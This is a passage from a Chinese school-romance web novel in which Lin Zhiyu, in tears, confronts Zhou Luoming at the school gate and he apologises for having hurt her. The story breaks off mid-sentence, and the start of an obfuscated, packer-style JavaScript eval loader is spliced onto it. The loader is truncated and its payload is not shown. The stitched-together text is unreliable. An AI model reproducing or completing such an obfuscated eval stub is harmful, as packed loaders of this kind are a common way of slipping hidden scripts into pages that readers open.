啪”的声响,纸巾从半空中落到地上。
打不开就丢了,大不了再换一包。
她有很多。
她假装不在意,余光却看到他蹲下身拾起纸巾,打开密封层后再度递给了她。
本来就是她的东西,还想借花献佛。
林知鱼赌气般夺走,抽出纸巾擦眼角的泪。
“哟,怎么哭了。”
“肯定是检查员为难人家。”
“快走快走,我没戴校牌。”
正是上学高峰期,人流量越来越大,路过的学生纷纷将目光投向僵持的他们。
林知鱼直视他,眼角泛红:“你这人怎么这么奇怪。”
明明眼里容不得半点沙子,不去抓违纪的人,反而缠着没做错事的她。
周落明握住拳头,他也说不清楚自己为什么会如此反常。
“当初是我主动想和你交朋友,你拒绝了,我也就难受了一小会儿。”
林知鱼特意在最后四个字加重语气,果不其然看到周落明脸上闪过一瞬间的无措。
她扬起脸,圆圆的眼睛在红晕加持下显得更楚楚可怜,胸膛止不住起伏:“可是现在已经不做朋友了,我们就不能当陌生人吗?”
“为什么要无故拦住我,为什么还要告诉我没有上报,周落明,你不觉得很矛盾吗?”
这样子落在眼里,像是在对她抛橄榄枝示好。
可分明是他先拒绝的。
“明明是你说我讹人的,说话这么难听,现在还说一套做一套……”说着说着,眼泪应声顺着微肿的脸颊滚落,她抬手擦拭颤声,“把我当什么了。”
“你就是在耍我玩吧。”
带着哭腔的声线好似挠猫抓板,没什么杀伤力,只余麻麻的刺挠。
“对不起。”周落明强忍住伸手接眼泪的举动,走上前一步,“上次是我言重了,林知鱼,我在这里跟你道歉。”
“我实在是太武断了,你受伤的确有我的责任,回去后我也一直在反省,其实当时你主动提出想交朋友,我很开心。”
他顿了顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.to